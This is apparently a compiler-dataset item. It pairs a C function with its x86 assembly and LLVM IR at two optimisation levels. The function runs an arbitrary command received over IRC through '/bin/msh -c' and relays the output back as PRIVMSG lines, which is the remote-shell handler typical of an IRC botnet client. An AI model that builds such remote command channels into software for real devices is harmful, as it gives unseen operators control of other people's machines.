#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef scalar_t__ pid_t;
typedef int /*<<< orphan*/ buf;
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
int /*<<< orphan*/ _exit(int);
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execl(char *, char *, char *, char *, int /*<<< orphan*/ *);
int /*<<< orphan*/ *fdopen(int, char *);
int /*<<< orphan*/ *fgets(char *, int, int /*<<< orphan*/ *);
scalar_t__ fork();
scalar_t__ pipe(int *);
int /*<<< orphan*/ send_msg(int, char *, char *, ...);
size_t strcspn(char *, char *);
void exec_cmd(int sockfd, char *replyto, char *cmd) {
  pid_t pid;
  int status, pipefd[2];
  char msg[512];
  if (pipe(pipefd) != 0) {
    send_msg(sockfd, "PRIVMSG %s :Error calling pipe()\r\n", replyto);
    return;
  }
  pid = fork();
  if (pid < 0) {
    send_msg(sockfd, "PRIVMSG %s :Error calling fork()\r\n", replyto);
    return;
  } else if (pid == 0) {
    close(pipefd[0]);
    dup2(pipefd[1], 1);
    dup2(pipefd[1], 2);
    close(pipefd[1]);
    execl("/bin/msh", "/bin/msh", "-c", cmd, NULL);
    _exit(1);
  } else {
    FILE *stream;
    int ch;
    char buf[512];
    close(pipefd[1]);
    if ((stream = fdopen(pipefd[0], "r")) == NULL) {
      send_msg(sockfd, "PRIVMSG %s :Error creating stream from fd\r\n",
               replyto);
      return;
    }
    while (fgets(buf, sizeof(buf), stream) != NULL) {
      buf[strcspn(buf, "\n")] = '\0';
      send_msg(sockfd, "PRIVMSG %s :%s\r\n", replyto, buf);
    }
    return;
  }
}


x86 assembly (clang, -O0):
<exec_cmd>:
push   %rbp
mov    %rsp,%rbp
sub    $0x440,%rsp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
lea    -0x2c(%rbp),%rdi
call   1060 <pipe@plt>
cmp    $0x0,%rax
je     11e3 <exec_cmd+0x43>
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0xe29(%rip),%rsi
mov    $0x0,%al
call   10a0 <send_msg@plt>
jmp    131b <exec_cmd+0x17b>
mov    $0x0,%al
call   10c0 <fork@plt>
mov    %rax,-0x20(%rbp)
cmpq   $0x0,-0x20(%rbp)
jge    1213 <exec_cmd+0x73>
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0xe1c(%rip),%rsi
mov    $0x0,%al
call   10a0 <send_msg@plt>
jmp    131b <exec_cmd+0x17b>
cmpq   $0x0,-0x20(%rbp)
jne    1271 <exec_cmd+0xd1>
mov    -0x2c(%rbp),%edi
call   1050 <close@plt>
mov    -0x28(%rbp),%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    -0x28(%rbp),%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
mov    -0x28(%rbp),%edi
call   1050 <close@plt>
mov    -0x18(%rbp),%rcx
lea    0xdf3(%rip),%rsi
lea    0xdf5(%rip),%rdx
xor    %eax,%eax
mov    %eax,%r8d
mov    %rsi,%rdi
call   10b0 <execl@plt>
mov    $0x1,%edi
call   1030 <_exit@plt>
mov    -0x28(%rbp),%edi
call   1050 <close@plt>
mov    -0x2c(%rbp),%edi
lea    0xdcf(%rip),%rsi
call   1090 <fdopen@plt>
mov    %rax,-0x238(%rbp)
cmp    $0x0,%rax
jne    12b3 <exec_cmd+0x113>
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    0xdad(%rip),%rsi
mov    $0x0,%al
call   10a0 <send_msg@plt>
jmp    131b <exec_cmd+0x17b>
jmp    12b8 <exec_cmd+0x118>
lea    -0x440(%rbp),%rdi
mov    -0x238(%rbp),%rdx
mov    $0x200,%esi
call   1080 <fgets@plt>
cmp    $0x0,%rax
je     1316 <exec_cmd+0x176>
lea    -0x440(%rbp),%rdi
lea    0xd39(%rip),%rsi
call   1070 <strcspn@plt>
movb   $0x0,-0x440(%rbp,%rax,1)
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rdx
lea    -0x440(%rbp),%rcx
lea    0xd76(%rip),%rsi
mov    $0x0,%al
call   10a0 <send_msg@plt>
jmp    12b8 <exec_cmd+0x118>
jmp    131b <exec_cmd+0x17b>
add    $0x440,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<exec_cmd>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x218,%rsp
mov    %rdx,%r14
mov    %rsi,%r15
mov    %edi,%r12d
lea    0x8(%rsp),%rdi
call   1060 <pipe@plt>
test   %rax,%rax
je     11ef <exec_cmd+0x4f>
lea    0xe30(%rip),%rsi
mov    %r12d,%edi
mov    %r15,%rdx
xor    %eax,%eax
call   10a0 <send_msg@plt>
add    $0x218,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
xor    %eax,%eax
call   10c0 <fork@plt>
test   %rax,%rax
js     128d <exec_cmd+0xed>
je     12a5 <exec_cmd+0x105>
mov    0xc(%rsp),%edi
call   1050 <close@plt>
mov    0x8(%rsp),%edi
lea    0xe39(%rip),%rsi
call   1090 <fdopen@plt>
test   %rax,%rax
je     1299 <exec_cmd+0xf9>
mov    %rax,%rbx
lea    0x10(%rsp),%rdi
mov    $0x200,%esi
mov    %rax,%rdx
call   1080 <fgets@plt>
test   %rax,%rax
je     11dd <exec_cmd+0x3d>
lea    0xddd(%rip),%r14
lea    0x10(%rsp),%rbp
lea    0xe30(%rip),%r13
mov    %rbp,%rdi
mov    %r14,%rsi
call   1070 <strcspn@plt>
movb   $0x0,0x10(%rsp,%rax,1)
mov    %r12d,%edi
mov    %r13,%rsi
mov    %r15,%rdx
mov    %rbp,%rcx
xor    %eax,%eax
call   10a0 <send_msg@plt>
mov    %rbp,%rdi
mov    $0x200,%esi
mov    %rbx,%rdx
call   1080 <fgets@plt>
test   %rax,%rax
jne    1250 <exec_cmd+0xb0>
jmp    11dd <exec_cmd+0x3d>
lea    0xd8f(%rip),%rsi
jmp    11d0 <exec_cmd+0x30>
lea    0xdb4(%rip),%rsi
jmp    11d0 <exec_cmd+0x30>
mov    0x8(%rsp),%edi
call   1050 <close@plt>
mov    0xc(%rsp),%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    0xc(%rsp),%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
mov    0xc(%rsp),%edi
call   1050 <close@plt>
lea    0xd6c(%rip),%rdi
lea    0xd6e(%rip),%rdx
mov    %rdi,%rsi
mov    %r14,%rcx
xor    %r8d,%r8d
call   10b0 <execl@plt>
mov    $0x1,%edi
call   1030 <_exit@plt>

LLVM IR (-O0):
@.str = [35 x i8] c"PRIVMSG %s :Error calling pipe()\0D\0A\00"
@.str.1 = [35 x i8] c"PRIVMSG %s :Error calling fork()\0D\0A\00"
@.str.2 = [9 x i8] c"/bin/msh\00"
@.str.3 = [3 x i8] c"-c\00"
@.str.4 = [2 x i8] c"r\00"
@.str.5 = [44 x i8] c"PRIVMSG %s :Error creating stream from fd\0D\0A\00"
@.str.6 = [2 x i8] c"\0A\00"
@.str.7 = [17 x i8] c"PRIVMSG %s :%s\0D\0A\00"
define void @exec_cmd(i32 %0, i8* %1, i8* %2) {
%4 = alloca i32
%5 = alloca i8*
%6 = alloca i8*
%7 = alloca i64
%8 = alloca i32
%9 = alloca [2 x i32]
%10 = alloca [512 x i8]
%11 = alloca i32*
%12 = alloca i32
%13 = alloca [512 x i8]
store i32 %0, i32* %4
store i8* %1, i8** %5
store i8* %2, i8** %6
%14 = getelementptr inbounds [2 x i32], [2 x i32]* %9, i64 0, i64 0
%15 = call i64 @pipe(i32* %14)
%16 = icmp ne i64 %15, 0
br i1 %16, label %17, label %21
17: ; preds = %3
%18 = load i32, i32* %4
%19 = load i8*, i8** %5
%20 = call i32 (i32, i8*, i8*, ...) @send_msg(i32 %18, i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str, i64 0, i64 0), i8* %19)
br label %75
21: ; preds = %3
%22 = call i64 (...) @fork()
store i64 %22, i64* %7
%23 = load i64, i64* %7
%24 = icmp slt i64 %23, 0
br i1 %24, label %25, label %29
25: ; preds = %21
%26 = load i32, i32* %4
%27 = load i8*, i8** %5
%28 = call i32 (i32, i8*, i8*, ...) @send_msg(i32 %26, i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str.1, i64 0, i64 0), i8* %27)
br label %75
29: ; preds = %21
%30 = load i64, i64* %7
%31 = icmp eq i64 %30, 0
br i1 %31, label %32, label %48
32: ; preds = %29
%33 = getelementptr inbounds [2 x i32], [2 x i32]* %9, i64 0, i64 0
%34 = load i32, i32* %33
%35 = call i32 @close(i32 %34)
%36 = getelementptr inbounds [2 x i32], [2 x i32]* %9, i64 0, i64 1
%37 = load i32, i32* %36
%38 = call i32 @dup2(i32 %37, i32 1)
%39 = getelementptr inbounds [2 x i32], [2 x i32]* %9, i64 0, i64 1
%40 = load i32, i32* %39
%41 = call i32 @dup2(i32 %40, i32 2)
%42 = getelementptr inbounds [2 x i32], [2 x i32]* %9, i64 0, i64 1
%43 = load i32, i32* %42
%44 = call i32 @close(i32 %43)
%45 = load i8*, i8** %6
%46 = call i32 @execl(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.3, i64 0, i64 0), i8* %45, i32* null)
%47 = call i32 @_exit(i32 1)
unreachable
48: ; preds = %29
%49 = getelementptr inbounds [2 x i32], [2 x i32]* %9, i64 0, i64 1
%50 = load i32, i32* %49
%51 = call i32 @close(i32 %50)
%52 = getelementptr inbounds [2 x i32], [2 x i32]* %9, i64 0, i64 0
%53 = load i32, i32* %52
%54 = call i32* @fdopen(i32 %53, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.4, i64 0, i64 0))
store i32* %54, i32** %11
%55 = icmp eq i32* %54, null
br i1 %55, label %56, label %60
56: ; preds = %48
%57 = load i32, i32* %4
%58 = load i8*, i8** %5
%59 = call i32 (i32, i8*, i8*, ...) @send_msg(i32 %57, i8* getelementptr inbounds ([44 x i8], [44 x i8]* @.str.5, i64 0, i64 0), i8* %58)
br label %75
60: ; preds = %48
br label %61
61: ; preds = %66, %60
%62 = getelementptr inbounds [512 x i8], [512 x i8]* %13, i64 0, i64 0
%63 = load i32*, i32** %11
%64 = call i32* @fgets(i8* %62, i32 512, i32* %63)
%65 = icmp ne i32* %64, null
br i1 %65, label %66, label %74
66: ; preds = %61
%67 = getelementptr inbounds [512 x i8], [512 x i8]* %13, i64 0, i64 0
%68 = call i64 @strcspn(i8* %67, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.6, i64 0, i64 0))
%69 = getelementptr inbounds [512 x i8], [512 x i8]* %13, i64 0, i64 %68
store i8 0, i8* %69
%70 = load i32, i32* %4
%71 = load i8*, i8** %5
%72 = getelementptr inbounds [512 x i8], [512 x i8]* %13, i64 0, i64 0
%73 = call i32 (i32, i8*, i8*, ...) @send_msg(i32 %70, i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.7, i64 0, i64 0), i8* %71, i8* %72)
br label %61
74: ; preds = %61
br label %75
75: ; preds = %74, %56, %25, %17
ret void
}

LLVM IR (-O2):
@.str = [35 x i8] c"PRIVMSG %s :Error calling pipe()\0D\0A\00"
@.str.1 = [35 x i8] c"PRIVMSG %s :Error calling fork()\0D\0A\00"
@.str.2 = [9 x i8] c"/bin/msh\00"
@.str.3 = [3 x i8] c"-c\00"
@.str.4 = [2 x i8] c"r\00"
@.str.5 = [44 x i8] c"PRIVMSG %s :Error creating stream from fd\0D\0A\00"
@.str.6 = [2 x i8] c"\0A\00"
@.str.7 = [17 x i8] c"PRIVMSG %s :%s\0D\0A\00"
define void @exec_cmd(i32 %0, i8* %1, i8* %2) {
%4 = alloca [2 x i32]
%5 = alloca [512 x i8]
%6 = bitcast [2 x i32]* %4 to i8*
%7 = getelementptr inbounds [2 x i32], [2 x i32]* %4, i64 0, i64 0
%8 = call i64 @pipe(i32* %7)
%9 = icmp eq i64 %8, 0
br i1 %9, label %12, label %10
10: ; preds = %3
%11 = call i32 (i32, i8*, i8*, ...) @send_msg(i32 %0, i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str, i64 0, i64 0), i8* %1)
br label %51
12: ; preds = %3
%13 = call i64 (...) @fork()
%14 = icmp slt i64 %13, 0
br i1 %14, label %15, label %17
15: ; preds = %12
%16 = call i32 (i32, i8*, i8*, ...) @send_msg(i32 %0, i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str.1, i64 0, i64 0), i8* %1)
br label %51
17: ; preds = %12
%18 = icmp eq i64 %13, 0
br i1 %18, label %19, label %31
19: ; preds = %17
%20 = load i32, i32* %7
%21 = call i32 @close(i32 %20)
%22 = getelementptr inbounds [2 x i32], [2 x i32]* %4, i64 0, i64 1
%23 = load i32, i32* %22
%24 = call i32 @dup2(i32 %23, i32 1)
%25 = load i32, i32* %22
%26 = call i32 @dup2(i32 %25, i32 2)
%27 = load i32, i32* %22
%28 = call i32 @close(i32 %27)
%29 = call i32 @execl(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.3, i64 0, i64 0), i8* %2, i32* null)
%30 = call i32 @_exit(i32 1)
unreachable
31: ; preds = %17
%32 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%33 = getelementptr inbounds [2 x i32], [2 x i32]* %4, i64 0, i64 1
%34 = load i32, i32* %33
%35 = call i32 @close(i32 %34)
%36 = load i32, i32* %7
%37 = call i32* @fdopen(i32 %36, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.4, i64 0, i64 0))
%38 = icmp eq i32* %37, null
br i1 %38, label %42, label %39
39: ; preds = %31
%40 = call i32* @fgets(i8* %32, i32 512, i32* %37)
%41 = icmp eq i32* %40, null
br i1 %41, label %50, label %44
42: ; preds = %31
%43 = call i32 (i32, i8*, i8*, ...) @send_msg(i32 %0, i8* getelementptr inbounds ([44 x i8], [44 x i8]* @.str.5, i64 0, i64 0), i8* %1)
br label %50
44: ; preds = %39, %44
%45 = call i64 @strcspn(i8* %32, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.6, i64 0, i64 0))
%46 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 %45
store i8 0, i8* %46
%47 = call i32 (i32, i8*, i8*, ...) @send_msg(i32 %0, i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.7, i64 0, i64 0), i8* %1, i8* %32)
%48 = call i32* @fgets(i8* %32, i32 512, i32* %37)
%49 = icmp eq i32* %48, null
br i1 %49, label %50, label %44
50: ; preds = %44, %39, %42
br label %51
51: ; preds = %50, %15, %10
ret void
}